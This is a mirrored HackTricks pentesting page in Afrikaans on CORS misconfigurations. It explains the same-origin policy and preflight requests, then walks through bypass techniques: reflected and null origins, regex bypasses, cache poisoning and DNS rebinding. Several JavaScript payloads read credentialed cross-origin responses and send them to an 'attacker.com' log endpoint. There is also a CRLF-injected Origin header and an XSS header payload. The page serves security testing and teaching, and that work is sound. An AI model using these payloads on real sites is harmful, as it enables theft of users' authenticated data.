Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 14:40:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/cors-bypass.md

32 KiB
Raw Blame History

CORS - Misconfigurations & Bypass

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Wat is CORS?

Cross-Origin Resource Sharing (CORS) standaard stel bedieners in staat om te bepaal wie toegang tot hul bates kan verkry en watter HTTP-aanvraagmetodes toegelaat is vanaf eksterne bronne.

'n selfde-oorsprong beleid vereis dat 'n bediener wat 'n bron aanvra en die bediener wat die bron huisves, dieselfde protokol (bv., http://), domeinnaam (bv., internal-web.com), en poort (bv., 80) deel. Onder hierdie beleid word slegs webbladsye van dieselfde domein en poort toegelaat om toegang tot die bronne te verkry.

Die toepassing van die selfde-oorsprong beleid in die konteks van http://normal-website.com/example/example.html word as volg geïllustreer:

URL wat toegang verkry word Toegang toegelaat?
http://normal-website.com/example/ Ja: Identiese skema, domein, en poort
http://normal-website.com/example2/ Ja: Identiese skema, domein, en poort
https://normal-website.com/example/ Nee: Verskillende skema en poort
http://en.normal-website.com/example/ Nee: Verskillende domein
http://www.normal-website.com/example/ Nee: Verskillende domein
http://normal-website.com:8080/example/ Nee: Verskillende poort*

*Internet Explorer ignoreer die poortnommer in die afdwinging van die selfde-oorsprong beleid, wat toegang tot hierdie toelaat.

Access-Control-Allow-Origin Kop

Hierdie kop kan meervoudige oorspronge, 'n null waarde, of 'n wildkaart * toelaat. Tog ondersteun geen webblaaier meervoudige oorspronge nie, en die gebruik van die wildkaart * is onderhewig aan beperkings. (Die wildkaart moet alleen gebruik word, en die gebruik daarvan saam met Access-Control-Allow-Credentials: true is nie toegelaat nie.)

Hierdie kop word uitgereik deur 'n bediener in reaksie op 'n kruis-domeinbronversoek wat deur 'n webwerf geïnisieer word, met die blaaier wat outomaties 'n Origin-kop byvoeg.

Access-Control-Allow-Credentials Kop

Standaard word kruis-oorsprong aanvrae sonder geloofsbriewe soos koekies of die Autorisasie-kop gemaak. Tog kan 'n kruis-domeinbediener die lees van die antwoord toelaat wanneer geloofsbriewe gestuur word deur die Access-Control-Allow-Credentials-kop na true te stel.

Indien gestel op true, sal die blaaier geloofsbriewe (koekies, outorisasiekoppe, of TLS-kliëntsertifikate) oordra.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Voorafgaande versoek

Begrip van Voorafgaande Versoeke in Kruis-Domein Kommunikasie

Wanneer 'n kruis-domein versoek geïnisieer word onder spesifieke toestande, soos die gebruik van 'n nie-standaard HTTP-metode (enigiets anders as HEAD, GET, POST), die invoering van nuwe koppe, of die gebruik van 'n spesiale Inhouds-Tipe kopwaarde, kan 'n voorafgaande versoek benodig word. Hierdie voorlopige versoek, wat die OPTIONS metode benut, dien om die bediener in te lig oor die naderende kruis-oorsprong versoek se bedoelings, insluitend die HTTP-metodes en koppe wat dit van plan is om te gebruik.

Die Cross-Origin Resource Sharing (CORS) protokol vereis hierdie voorafgaande kontrole om die uitvoerbaarheid van die versoekte kruis-oorsprong operasie te bepaal deur die toegelate metodes, koppe, en die betroubaarheid van die oorsprong te verifieer. Vir 'n gedetailleerde begrip van watter toestande die behoefte aan 'n voorafgaande versoek omseil, verwys na die omvattende gids wat deur Mozilla Developer Network (MDN) verskaf word.

Dit is noodsaaklik om daarop te let dat die afwesigheid van 'n voorafgaande versoek nie die vereiste vir die respons om magtigingskoppe te dra, ongedaan maak nie. Sonder hierdie koppe is die webblaaier onvermoënd om die respons van die kruis-oorsprong versoek te verwerk.

Oorweeg die volgende illustrasie van 'n voorafgaande versoek wat gemik is op die gebruik van die PUT metode saam met 'n aangepaste kop genaamd Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

In reaksie kan die bediener dalk koppe terugstuur wat die aanvaarde metodes, die toegelate oorsprong, en ander CORS-beleidsbesonderhede aandui, soos hieronder getoon:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Hierdie kop aandui watter koppe tydens die werklike versoek gebruik kan word. Dit word deur die bediener ingestel om die toegelate koppe in versoek van die klient aan te dui.
  • Access-Control-Expose-Headers: Deur hierdie kop, informeer die bediener die klient oor watter koppe blootgestel kan word as deel van die respons buite die eenvoudige responskoppe.
  • Access-Control-Max-Age: Hierdie kop dui aan hoe lank die resultate van 'n voorafgaande versoek gekas kan word. Die bediener stel die maksimum tyd, in sekondes, wat die inligting wat deur 'n voorafgaande versoek teruggegee word, hergebruik kan word.
  • Access-Control-Request-Headers: Gebruik in voorafgaande versoek, word hierdie kop deur die klient ingestel om die bediener in te lig oor watter HTTP-koppe die klient wil gebruik in die werklike versoek.
  • Access-Control-Request-Method: Hierdie kop, ook gebruik in voorafgaande versoek, word deur die klient ingestel om aan te dui watter HTTP-metode in die werklike versoek gebruik sal word.
  • Origin: Hierdie kop word outomaties deur die webblaaier ingestel en dui die oorsprong van die kruis-oorsprong versoek aan. Dit word deur die bediener gebruik om te beoordeel of die inkomende versoek toegelaat of ontken moet word op grond van die CORS-beleid.

Merk op dat gewoonlik (afhangende van die inhoudstipe en koppe wat ingestel is) in 'n GET/POST-versoek geen voorafgaande versoek gestuur word (die versoek word direk gestuur), maar as jy die koppe/liggaam van die respons wil benader, moet dit 'n Access-Control-Allow-Origin kop bevat wat dit toelaat.
Daarom beskerm CORS nie teen CSRF nie (maar dit kan nuttig wees).

Voorafgaande versoek vir plaaslike netwerkversoeke

  1. Access-Control-Request-Local-Network: Hierdie kop is ingesluit in die versoek van die klient om aan te dui dat die navraag op 'n plaaslike netwerkbron gemik is. Dit dien as 'n merker om die bediener in te lig dat die versoek van binne die plaaslike netwerk afkomstig is.
  2. Access-Control-Allow-Local-Network: In reaksie gebruik bedieners hierdie kop om te kommunikeer dat die versoekte bron toegelaat word om gedeel te word met entiteite buite die plaaslike netwerk. Dit dien as 'n groen lig vir die deel van bronne oor verskillende netwerkgrense, wat beheerde toegang verseker terwyl sekuriteitsprotokolle gehandhaaf word.

'n geldige respons wat die plaaslike netwerkversoek toelaat moet ook die kop Access-Controls-Allow-Local_network: true in die respons hê:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} Let wel dat die linux 0.0.0.0 IP werk om hierdie vereistes te omseil om toegang tot die plaaslike gasheer te verkry aangesien daardie IP-adres nie as "plaaslik" beskou word nie.

Dit is ook moontlik om die vereistes vir die plaaslike netwerk te omseil as jy die openbare IP-adres van 'n plaaslike eindpunt gebruik (soos die openbare IP van die router). Want in verskeie gevalle, selfs as die openbare IP benader word, as dit vanaf die plaaslike netwerk is, sal toegang verleen word. {% endhint %}

Uitbuitbare verkeerde konfigurasies

Daar is waargeneem dat die instelling van Access-Control-Allow-Credentials na true 'n voorvereiste is vir die meeste werklike aanvalle. Hierdie instelling maak dit vir die webblaaier moontlik om geloofsbriewe te stuur en die antwoord te lees, wat die aanval se doeltreffendheid verbeter. Sonder dit, verminder die voordeel van die maak van 'n versoek deur 'n webblaaier oor om dit self te doen, aangesien dit onprakties word om 'n gebruiker se koekies te benut.

Uitsondering: Uitbuiting van Netwerklokasie as Verifikasie

'n Uitsondering bestaan waar die slagoffer se netwerklokasie as 'n vorm van verifikasie optree. Dit maak dit moontlik vir die slagoffer se webblaaier om as 'n mandaat te dien, wat IP-gebaseerde verifikasie omseil om toegang tot intranet-toepassings te verkry. Hierdie metode deel ooreenkomste in impak met DNS-herbinding, maar is makliker om uit te buit.

Weerspieëling van Origin in Access-Control-Allow-Origin

Die werklike scenario waar die waarde van die Origin-kop in Access-Control-Allow-Origin weerspieël word, is teoreties onwaarskynlik as gevolg van beperkings op die kombineer van hierdie koppe. Nietemin kan ontwikkelaars wat CORS vir verskeie URL's wil aktiveer, moontlik die Access-Control-Allow-Origin-kop dinamies genereer deur die waarde van die Origin-kop te kopieer. Hierdie benadering kan kwesbaarhede inbring, veral wanneer 'n aanvaller 'n domein gebruik met 'n naam wat ontwerp is om legitiem te lyk, en sodoende die valideringslogika te mislei.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Uitbuiting van die null Oorsprong

Die null oorsprong, gespesifiseer vir situasies soos aanstuurders of plaaslike HTML-lêers, het 'n unieke posisie. Sommige toepassings plaas hierdie oorsprong op 'n witlys om plaaslike ontwikkeling te fasiliteer, wat per ongeluk enige webwerf toelaat om 'n null oorsprong na te boots deur 'n gesandboxte iframe, wat sodoende CORS-beperkings omseil.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Gewone Uitdrukking Bypass Tegnieke

Wanneer 'n domein witlys teenkom, is dit noodsaaklik om te toets vir omseilingsgeleenthede, soos die aanhegting van die aanvaller se domein aan 'n witgelyste domein of die uitbuiting van subdomein-oorneembaarheidkwesbaarhede. Daarbenewens mag gewone uitdrukkings wat vir domeinvalidering gebruik word, subtiliteite in domeinnaamkonvensies oorsien, wat verdere omseilingsgeleenthede bied.

Gevorderde Gewone Uitdrukking Bypasses

Regex-patrone fokus tipies op alfanumeriese, punt (.), en koppelteken (-) karakters, waarby ander moontlikhede verwaarloos word. Byvoorbeeld, 'n domeinnaam wat geskep is om karakters in te sluit wat deur webblaaier en regex-patrone anders geïnterpreteer word, kan sekuriteitskontroles omseil. Safari, Chrome, en Firefox se hantering van onderstreepkarakters in subdomeine illustreer hoe sulke teenstrydighede benut kan word om domeinvalideringslogika te omseil.

Vir meer inligting en instellings van hierdie omseilingstoets: https://www.corben.io/advanced-cors-techniques/ en https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Vanaf XSS binne 'n subdomein

Ontwikkelaars implementeer dikwels verdedigingsmeganismes om teen CORS-uitbuiting te beskerm deur domeine wat toegelaat word om inligting aan te vra, te witlys. Ten spyte van hierdie voorbehoud is die stelsel se sekuriteit nie waterdig nie. Die teenwoordigheid van selfs 'n enkele kwesbare subdomein binne die witgelyste domeine kan die deur oopmaak vir CORS-uitbuiting deur ander kwesbaarhede, soos XSS (Cross-Site Scripting).

Om te illustreer, oorweeg die scenario waar 'n domein, requester.com, witgelys is om hulpbronne van 'n ander domein, provider.com, te benader. Die bedienerkant-konfigurasie kan iets soos dit lyk:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

In hierdie opstelling word toegang toegelaat vir alle subdomeine van requester.com. Indien 'n subdomein, soos sub.requester.com, egter gekompromitteer word met 'n XSS kwesbaarheid, kan 'n aanvaller hierdie swakheid benut. Byvoorbeeld, 'n aanvaller met toegang tot sub.requester.com kan die XSS kwesbaarheid uitbuit om CORS beleide te omseil en sodoende hulpbronne op provider.com kwaadwillig te benader.

Bedienerkant-kasvergiftiging

Van hierdie navorsing

Dit is moontlik dat deur bedienerkant-kasvergiftiging te benut deur HTTP-kopinspuiting, 'n gestoorde Cross-Site Scripting (XSS) kwesbaarheid geïnduseer kan word. Hierdie scenario ontvou wanneer 'n aansoek versuim om die Origin-kop vir onwettige karakters te saniteer, wat 'n kwesbaarheid skep veral vir Internet Explorer en Edge-gebruikers. Hierdie webblaaier behandel (0x0d) as 'n legitieme HTTP-kopafsluiter, wat lei tot HTTP-kopinspuitingskwesbaarhede.

Oorweeg die volgende versoek waar die Origin-kop gemanipuleer word:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer en Edge interpreteer die respons as:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Terwyl dit nie prakties is om hierdie kwesbaarheid direk te benut deur 'n webblaaier 'n verkeerde kop te laat stuur nie, kan 'n geskepte versoek handmatig gegenereer word met behulp van gereedskap soos Burp Suite. Hierdie metode kan lei tot 'n bedienerkant-kas wat die antwoord stoor en dit onbedoeld aan ander dien. Die geskepte lading is daarop gemik om die karakterset van die bladsy te verander na UTF-7, 'n karakterkodering wat dikwels geassosieer word met XSS-kwesbaarhede weens sy vermoë om karakters op 'n manier te kodeer wat as skripsie in sekere kontekste uitgevoer kan word.

Vir verdere lees oor gestoorde XSS-kwesbaarhede, sien PortSwigger.

Nota: Die benutting van HTTP-kopinspuitingskwesbaarhede, veral deur bedienerkant-kasvergiftiging, beklemtoon die kritieke belang van die validering en sanitisering van alle gebruikersgelewerde insette, insluitend HTTP-koppe. Maak altyd gebruik van 'n robuuste sekuriteitsmodel wat insetvalidering insluit om sulke kwesbaarhede te voorkom.

Kliëntkant-kasvergiftiging

Van hierdie navorsing

In hierdie scenario word 'n instansie van 'n webbladsy waargeneem wat die inhoud van 'n aangepaste HTTP-kop sonder behoorlike kodering weerspieël. Spesifiek weerspieël die webbladsy die inhoud wat ingesluit is in 'n X-User-id-kop, wat kwaadwillige JavaScript kan insluit, soos gedemonstreer deur die voorbeeld waar die kop 'n SVG-beeldtag bevat wat ontwerp is om JavaScript-kode by die laai uit te voer.

Cross-Origin Resource Sharing (CORS) beleide maak die stuur van aangepaste koppe moontlik. Sonderdat die antwoord direk deur die blaaier weergegee word as gevolg van CORS-beperkings, mag die nut van so 'n inspuiting beperk lyk. Die kritieke punt ontstaan wanneer die blaaier se kasgedrag oorweeg word. As die Vary: Origin-kop nie gespesifiseer word nie, word dit moontlik vir die kwaadwillige antwoord om deur die blaaier gekas te word. Gevolglik kan hierdie gekasde antwoord direk weergegee word wanneer na die URL genavigeer word, wat die behoefte aan direkte weergawe tydens die aanvanklike versoek omseil. Hierdie meganisme verbeter die betroubaarheid van die aanval deur kliëntkant-kasgebruik te benut.

Om hierdie aanval te illustreer, word 'n JavaScript-voorbeeld verskaf wat ontwerp is om uitgevoer te word in die omgewing van 'n webbladsy, soos deur 'n JSFiddle. Hierdie skripsie voer 'n eenvoudige aksie uit: dit stuur 'n versoek na 'n gespesifiseerde URL met 'n aangepaste kop wat die kwaadwillige JavaScript bevat. Na 'n suksesvolle versoek voltooiing, probeer dit na die teiken-URL navigeer, moontlik om die uitvoering van die ingeslote skripsie te veroorsaak as die antwoord gekas is sonder behoorlike hantering van die Vary: Origin-kop.

Hier is 'n opgesomde uiteensetting van die gebruikte JavaScript om hierdie aanval uit te voer:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Oorsteek

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, ook bekend as Cross-Site Script Inclusion, is 'n tipe kwesbaarheid wat voordeel trek uit die feit dat die Same Origin Policy (SOP) nie van toepassing is wanneer hulpbronne ingesluit word deur die skripsie-etiket nie. Dit is omdat skripte vanaf verskillende domeine ingesluit moet kan word. Hierdie kwesbaarheid maak dit vir 'n aanvaller moontlik om enige inhoud wat ingesluit is deur die skripsie-etiket, te benader en te lees.

Hierdie kwesbaarheid word veral betekenisvol wanneer dit kom by dinamiese JavaScript of JSONP (JSON met Padding), veral wanneer omgewingsgesaginligting soos koekies gebruik word vir verifikasie. Wanneer 'n hulpbron vanaf 'n ander gasheer aangevra word, word die koekies ingesluit, wat dit vir die aanvaller toeganklik maak.

Om hierdie kwesbaarheid beter te verstaan en te verminder, kan jy die BurpSuite-inprop gebruik wat beskikbaar is by https://github.com/kapytein/jsonp. Hierdie inprop kan help om potensiële XSSI-kwesbaarhede in jou webtoepassings te identifiseer en aan te spreek.

Lees meer oor die verskillende tipes XSSI en hoe om dit te benut hier.

Probeer om 'n callback parameter by die versoek te voeg. Dalk was die bladsy voorberei om die data as JSONP te stuur. In daardie geval sal die bladsy die data terugstuur met Content-Type: application/javascript, wat die CORS-beleid sal omseil.

Maklike (nuttelose?) oorsteek

Een manier om die Access-Control-Allow-Origin-beperking te omseil, is deur 'n webtoepassing te versoek om namens jou 'n versoek te maak en die respons terug te stuur. Tog sal in hierdie scenario die geloofsbriewe van die finale slagoffer nie gestuur word nie, aangesien die versoek na 'n ander domein gestuur word.

  1. CORS-escape: Hierdie instrument bied 'n proksi wat jou versoek saam met sy koppeurte stuur, terwyl dit ook die Oorsprong-kopieerder vervals om ooreen te stem met die versoekte domein. Dit omseil effektief die CORS-beleid. Hier is 'n voorbeeld van die gebruik met XMLHttpRequest:
  2. simple-cors-escape: Hierdie instrument bied 'n alternatiewe benadering tot die proksie van versoek. In plaas daarvan om jou versoek soos dit is deur te gee, maak die bediener sy eie versoek met die gespesifiseerde parameters.

Iframe + Popup Oorsteek

Jy kan CORS-toetse omseil soos e.origin === window.origin deur 'n iframe te skep en van daar af 'n nuwe venster oop te maak. Meer inligting op die volgende bladsy:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

DNS Rebinding via TTL

DNS-rebinding via TTL is 'n tegniek wat gebruik word om sekere sekuriteitsmaatreëls te omseil deur DNS-rekords te manipuleer. So werk dit:

  1. Die aanvaller skep 'n webbladsy en maak die slagoffer toegang daartoe.
  2. Die aanvaller verander dan die DNS (IP) van hul eie domein om na die slagoffer se webbladsy te verwys.
  3. Die slagoffer se blaaier stoor die DNS-antwoord, wat 'n TTL (Tyd om te Lewe) waarde kan hê wat aandui hoelank die DNS-rekord as geldig beskou moet word.
  4. Wanneer die TTL verval, maak die slagoffer se blaaier 'n nuwe DNS-versoek, wat die aanvaller in staat stel om JavaScript-kode op die slagoffer se bladsy uit te voer.
  5. Deur beheer oor die IP van die slagoffer te behou, kan die aanvaller inligting van die slagoffer versamel sonder om enige koekies na die slagofferbediener te stuur.

Dit is belangrik om daarop te let dat blaaier keshoudingsmeganismes het wat dalk onmiddellike misbruik van hierdie tegniek kan voorkom, selfs met lae TTL-waardes.

DNS-rebinding kan nuttig wees om eksplisiete IP-toetse wat deur die slagoffer uitgevoer word, te omseil of vir scenario's waar 'n gebruiker of bot vir 'n lang tydperk op dieselfde bladsy bly, wat die keshouding laat verval.

As jy 'n vinnige manier nodig het om DNS-rebinding te misbruik, kan jy dienste soos https://lock.cmpxchg8b.com/rebinder.html gebruik.

Om jou eie DNS-rebindingbediener te hardloop, kan jy gereedskap soos DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gebruik. Dit behels die blootstelling van jou plaaslike poort 53/udp, die skep van 'n A-rekord wat daarnaar verwys (bv., ns.example.com), en die skep van 'n NS-rekord wat na die vroeër geskepte A-subdomein verwys (bv., ns.example.com). Enige subdomein van die ns.example.com-subdomein sal dan deur jou gasheer opgelos word.

Jy kan ook 'n openbaar lopende bediener verken by http://rebind.it/singularity.html vir verdere begrip en eksperimentering.

DNS Rebinding via DNS-keshoudingsoorstroming

DNS-rebinding via DNS-keshoudingsoorstroming is 'n ander tegniek wat gebruik word om die keshoudingsmeganisme van blaaier te omseil en 'n tweede DNS-versoek af te dwing. So werk dit:

  1. Aanvanklik, wanneer die slagoffer 'n DNS-versoek maak, word daar met die aanvaller se IP-adres geantwoord.
  2. Om die keshoudingsverdediging te omseil, maak die aanvaller gebruik van 'n dienswerker. Die dienswerker oorstroom die DNS-kas, wat effektief die gekasheerde aanvallerbediener se naam verwyder.
  3. Wanneer die slagoffer se blaaier 'n tweede DNS-versoek maak, word daar nou met die IP-adres 127.0.0.1 geantwoord, wat tipies na die plaaslike gasheer verwys.

Deur die DNS-kas met die dienswerker te oorstroom, kan die aanvaller die DNS-oplossingsproses manipuleer en die slagoffer se blaaier dwing om 'n tweede versoek te maak, wat hierdie keer na die aanvaller se gewenste IP-adres oplos.

DNS Rebinding via Kas

'n Ander manier om die keshoudingsverdediging te omseil, is deur gebruik te maak van verskeie IP-adresse vir dieselfde subdomein in die DNS-leweransier. So werk dit:

  1. Die aanvaller stel twee A-rekords (of 'n enkele A-rekord met twee IP-adresse) op vir dieselfde subdomein in die DNS-leweransier.
  2. Wanneer 'n blaaier hierdie rekords nagaan, ontvang dit beide IP-adresse.
  3. As die blaaier besluit om die aanvaller se IP-adres eerste te gebruik, kan die aanvaller 'n lading dien wat HTTP-versoeke na dieselfde domein uitvoer.
  4. Tog, sodra die aanvaller die slagoffer se IP-adres verkry, hou hulle op om op die slagoffer se blaaier te reageer.
  5. Die slagoffer se blaaier, nadat dit besef dat die domein nie reageer nie, gaan voort om die tweede gegee IP-adres te gebruik.
  6. Deur die tweede IP-adres te benader, omseil die blaaier die Same Origin Policy (SOP), wat die aanvaller in staat stel om dit te misbruik en inligting van die slagoffer te versamel en uit te voer.

Hierdie tegniek maak gebruik van die gedrag van blaaier wanneer verskeie IP-adresse vir 'n domein verskaf word. Deur die antwoorde strategies te beheer en die blaaier se keuse van IP-adres te manipuleer, kan 'n aanvaller die SOP uitbuit en inligting van die slagoffer toegang gee.

{% hint style="warning" %} Let daarop dat om na die plaaslike gasheer toe te gaan, jy moet probeer om 127.0.0.1 in Windows en 0.0.0.0 in Linux te herbind.
Verskaffers soos godaddy of cloudflare het my nie toegelaat om die ip 0.0.0.0 te gebruik nie, maar AWS route53 het my toegelaat om een A-rekord met 2 IP-adresse te skep waarvan een "0.0.0.0" is

{% endhint %}

Vir meer inligting kan jy https://unit42.paloaltonetworks.com/dns-rebinding/ raadpleeg.

Ander algemene omleidings

  • As interne IP's nie toegelaat word nie, kan hulle vergeet om 0.0.0.0 te verbied (werk op Linux en Mac)
  • As interne IP's nie toegelaat word nie, reageer met 'n CNAME na localhost (werk op Linux en Mac)
  • As interne IP's nie toegelaat word nie as DNS-antwoorde, kan jy CNAME's na interne dienste soos www.corporate.internal antwoord.

DNS Rebidding Gewapen

Meer inligting oor die vorige omleidings tegnieke en hoe om die volgende instrument te gebruik, kan gevind word in die praatjie Gerald Doussot - Stand van DNS Rebinding Aanvalle & Singularity of Origin - DEF CON 27 Konferensie.

Singularity of Origin is 'n instrument om DNS rebinding aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam te herbind na die teikenrekenaar se IP-adres en om aanvalsladinge te dien om kwesbare sagteware op die teikenrekenaar te benut.

Werklike Beskerming teen DNS Rebinding

  • Gebruik TLS in interne dienste
  • Versoek verifikasie om data te benader
  • Valideer die Host-kop
  • https://wicg.github.io/private-network-access/: Voorstel om altyd 'n voorafgaande versoek te stuur wanneer openbare bedieners interne bedieners wil benader

Hulpmiddels

Fuzz moontlike wanopsetlike CORS-beleide

Verwysings

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: